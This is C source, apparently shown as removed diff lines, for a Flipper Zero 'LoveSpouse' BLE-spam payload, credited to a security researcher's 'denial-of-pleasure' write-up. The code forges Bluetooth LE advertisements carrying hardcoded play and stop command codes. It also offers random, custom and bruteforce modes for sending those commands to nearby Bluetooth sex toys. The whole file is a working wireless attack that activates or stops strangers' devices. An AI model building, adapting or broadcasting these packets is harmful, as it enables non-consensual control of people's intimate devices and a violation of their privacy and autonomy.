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- #include "lovespouse.h"
- #include "_protocols.h"
- // Hacked together by @Willy-JL
- // Discovered by @mandomat
- // Blog post at https://mandomat.github.io/2023-11-13-denial-of-pleasure/
- typedef struct {
- uint32_t value;
- const char* name;
- } LovespouseMode;
- static const LovespouseMode plays[] = {
- {0xE49C6C, "Classic 1"}, {0xE7075E, "Classic 2"}, {0xE68E4F, "Classic 3"},
- {0xE1313B, "Classic 4"}, {0xE0B82A, "Classic 5"}, {0xE32318, "Classic 6"},
- {0xE2AA09, "Classic 7"}, {0xED5DF1, "Classic 8"}, {0xECD4E0, "Classic 9"},
- {0xD41F5D, "Independent 1-1"}, {0xD7846F, "Independent 1-2"}, {0xD60D7E, "Independent 1-3"},
- {0xD1B20A, "Independent 1-4"}, {0xD0B31B, "Independent 1-5"}, {0xD3A029, "Independent 1-6"},
- {0xD22938, "Independent 1-7"}, {0xDDDEC0, "Independent 1-8"}, {0xDC57D1, "Independent 1-9"},
- {0xA4982E, "Independent 2-1"}, {0xA7031C, "Independent 2-2"}, {0xA68A0D, "Independent 2-3"},
- {0xA13579, "Independent 2-4"}, {0xA0BC68, "Independent 2-5"}, {0xA3275A, "Independent 2-6"},
- {0xA2AE4B, "Independent 2-7"}, {0xAD59B3, "Independent 2-8"}, {0xACD0A2, "Independent 2-9"},
- };
- static const LovespouseMode stops[] = {
- {0xE5157D, "Classic Stop"},
- {0xD5964C, "Independent 1 Stop"},
- {0xA5113F, "Independent 2 Stop"},
- };
- static const struct {
- const LovespouseMode* modes;
- uint8_t count;
- } modes[LovespouseStateCOUNT] = {
- [0] = {plays, COUNT_OF(plays)},
- [LovespouseStatePlay] = {plays, COUNT_OF(plays)},
- [LovespouseStateStop] = {stops, COUNT_OF(stops)},
- };
- static const char* get_name(const Payload* payload) {
- UNUSED(payload);
- return "LoveSpouse";
- }
- static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
- LovespouseCfg* cfg = payload ? &payload->cfg.lovespouse : NULL;
- LovespouseState state;
- if(cfg && cfg->state != 0x00) {
- state = cfg->state;
- } else {
- const LovespouseState states[] = {
- LovespouseStatePlay,
- LovespouseStateStop,
- };
- state = states[rand() % COUNT_OF(states)];
- }
- uint32_t mode;
- switch(cfg ? payload->mode : PayloadModeRandom) {
- case PayloadModeRandom:
- default:
- mode = modes[state].modes[rand() % modes[state].count].value;
- break;
- case PayloadModeValue:
- mode = cfg->mode;
- break;
- case PayloadModeBruteforce:
- mode = cfg->mode = payload->bruteforce.value;
- break;
- }
- uint8_t size = 22;
- uint8_t* packet = malloc(size);
- uint8_t i = 0;
- packet[i++] = 2; // Size
- packet[i++] = 0x01; // AD Type (Flags)
- packet[i++] = 0x1A; // Flags
- packet[i++] = 14; // Size
- packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
- packet[i++] = 0xFF; // Company ID (Typo Products, LLC)
- packet[i++] = 0x00; // ...
- packet[i++] = 0x6D;
- packet[i++] = 0xB6;
- packet[i++] = 0x43;
- packet[i++] = 0xCE;
- packet[i++] = 0x97;
- packet[i++] = 0xFE;
- packet[i++] = 0x42;
- packet[i++] = 0x7C;
- packet[i++] = (mode >> 0x10) & 0xFF;
- packet[i++] = (mode >> 0x08) & 0xFF;
- packet[i++] = (mode >> 0x00) & 0xFF;
- packet[i++] = 3; // Size
- packet[i++] = 0x03; // AD Type (Service UUID List)
- packet[i++] = 0x8F; // Service UUID (Unregistered)
- packet[i++] = 0xAE; // ...
- *_size = size;
- *_packet = packet;
- }
- enum {
- _ConfigExtraStart = ConfigExtraStart,
- ConfigMode,
- ConfigCOUNT,
- };
- static void config_callback(void* _ctx, uint32_t index) {
- Ctx* ctx = _ctx;
- scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
- switch(index) {
- case ConfigMode:
- scene_manager_next_scene(ctx->scene_manager, SceneLovespouseMode);
- break;
- default:
- ctx->fallback_config_enter(ctx, index);
- break;
- }
- }
- static void mode_changed(VariableItem* item) {
- Payload* payload = variable_item_get_context(item);
- LovespouseCfg* cfg = &payload->cfg.lovespouse;
- uint8_t index = variable_item_get_current_value_index(item);
- if(index) {
- index--;
- payload->mode = PayloadModeValue;
- cfg->mode = modes[cfg->state].modes[index].value;
- variable_item_set_current_value_text(item, modes[cfg->state].modes[index].name);
- } else {
- payload->mode = PayloadModeRandom;
- variable_item_set_current_value_text(item, "Random");
- }
- }
- static void extra_config(Ctx* ctx) {
- Payload* payload = &ctx->attack->payload;
- LovespouseCfg* cfg = &payload->cfg.lovespouse;
- VariableItemList* list = ctx->variable_item_list;
- VariableItem* item;
- uint8_t value_index;
- item = variable_item_list_add(
- list, "Toy Mode", modes[cfg->state].count + 1, mode_changed, payload);
- const char* mode_name = NULL;
- char mode_name_buf[9];
- switch(payload->mode) {
- case PayloadModeRandom:
- default:
- mode_name = "Random";
- value_index = 0;
- break;
- case PayloadModeValue:
- for(uint8_t i = 0; i < modes[cfg->state].count; i++) {
- if(cfg->mode == modes[cfg->state].modes[i].value) {
- mode_name = modes[cfg->state].modes[i].name;
- value_index = i + 1;
- break;
- }
- }
- if(!mode_name) {
- snprintf(mode_name_buf, sizeof(mode_name_buf), "%06lX", cfg->mode);
- mode_name = mode_name_buf;
- value_index = modes[cfg->state].count + 1;
- }
- break;
- case PayloadModeBruteforce:
- mode_name = "Bruteforce";
- value_index = modes[cfg->state].count + 1;
- break;
- }
- variable_item_set_current_value_index(item, value_index);
- variable_item_set_current_value_text(item, mode_name);
- variable_item_list_set_enter_callback(list, config_callback, ctx);
- }
- static uint8_t config_count(const Payload* payload) {
- UNUSED(payload);
- return ConfigCOUNT - ConfigExtraStart - 1;
- }
- const Protocol protocol_lovespouse = {
- .icon = &I_heart,
- .get_name = get_name,
- .make_packet = make_packet,
- .extra_config = extra_config,
- .config_count = config_count,
- };
- static void mode_callback(void* _ctx, uint32_t index) {
- Ctx* ctx = _ctx;
- Payload* payload = &ctx->attack->payload;
- LovespouseCfg* cfg = &payload->cfg.lovespouse;
- if(index == 0) {
- payload->mode = PayloadModeRandom;
- scene_manager_previous_scene(ctx->scene_manager);
- } else if(index == modes[cfg->state].count + 1U) {
- scene_manager_next_scene(ctx->scene_manager, SceneLovespouseModeCustom);
- } else if(modes[cfg->state].count + 2U) {
- payload->mode = PayloadModeBruteforce;
- payload->bruteforce.counter = 0;
- payload->bruteforce.value = cfg->mode;
- payload->bruteforce.size = 3;
- scene_manager_previous_scene(ctx->scene_manager);
- } else {
- payload->mode = PayloadModeValue;
- cfg->mode = modes[cfg->state].modes[index - 1].value;
- scene_manager_previous_scene(ctx->scene_manager);
- }
- }
- void scene_lovespouse_mode_on_enter(void* _ctx) {
- Ctx* ctx = _ctx;
- Payload* payload = &ctx->attack->payload;
- LovespouseCfg* cfg = &payload->cfg.lovespouse;
- Submenu* submenu = ctx->submenu;
- uint32_t selected = 0;
- submenu_add_item(submenu, "Random", 0, mode_callback, ctx);
- if(payload->mode == PayloadModeRandom) {
- selected = 0;
- }
- bool found = false;
- for(uint8_t i = 0; i < modes[cfg->state].count; i++) {
- submenu_add_item(submenu, modes[cfg->state].modes[i].name, i + 1, mode_callback, ctx);
- if(!found && payload->mode == PayloadModeValue &&
- cfg->mode == modes[cfg->state].modes[i].value) {
- found = true;
- selected = i + 1;
- }
- }
- submenu_add_item(submenu, "Custom", modes[cfg->state].count + 1, mode_callback, ctx);
- if(!found && payload->mode == PayloadModeValue) {
- selected = modes[cfg->state].count + 1;
- }
- submenu_add_item(submenu, "Bruteforce", modes[cfg->state].count + 2, mode_callback, ctx);
- if(payload->mode == PayloadModeBruteforce) {
- selected = modes[cfg->state].count + 2;
- }
- submenu_set_selected_item(submenu, selected);
- view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
- }
- bool scene_lovespouse_mode_on_event(void* _ctx, SceneManagerEvent event) {
- UNUSED(_ctx);
- UNUSED(event);
- return false;
- }
- void scene_lovespouse_mode_on_exit(void* _ctx) {
- Ctx* ctx = _ctx;
- submenu_reset(ctx->submenu);
- }
- static void mode_custom_callback(void* _ctx) {
- Ctx* ctx = _ctx;
- Payload* payload = &ctx->attack->payload;
- LovespouseCfg* cfg = &payload->cfg.lovespouse;
- payload->mode = PayloadModeValue;
- cfg->mode =
- (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
- scene_manager_previous_scene(ctx->scene_manager);
- scene_manager_previous_scene(ctx->scene_manager);
- }
- void scene_lovespouse_mode_custom_on_enter(void* _ctx) {
- Ctx* ctx = _ctx;
- Payload* payload = &ctx->attack->payload;
- LovespouseCfg* cfg = &payload->cfg.lovespouse;
- ByteInput* byte_input = ctx->byte_input;
- byte_input_set_header_text(byte_input, "Enter custom Toy Mode");
- ctx->byte_store[0] = (cfg->mode >> 0x10) & 0xFF;
- ctx->byte_store[1] = (cfg->mode >> 0x08) & 0xFF;
- ctx->byte_store[2] = (cfg->mode >> 0x00) & 0xFF;
- byte_input_set_result_callback(
- byte_input, mode_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
- view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
- }
- bool scene_lovespouse_mode_custom_on_event(void* _ctx, SceneManagerEvent event) {
- UNUSED(_ctx);
- UNUSED(event);
- return false;
- }
- void scene_lovespouse_mode_custom_on_exit(void* _ctx) {
- UNUSED(_ctx);
- }
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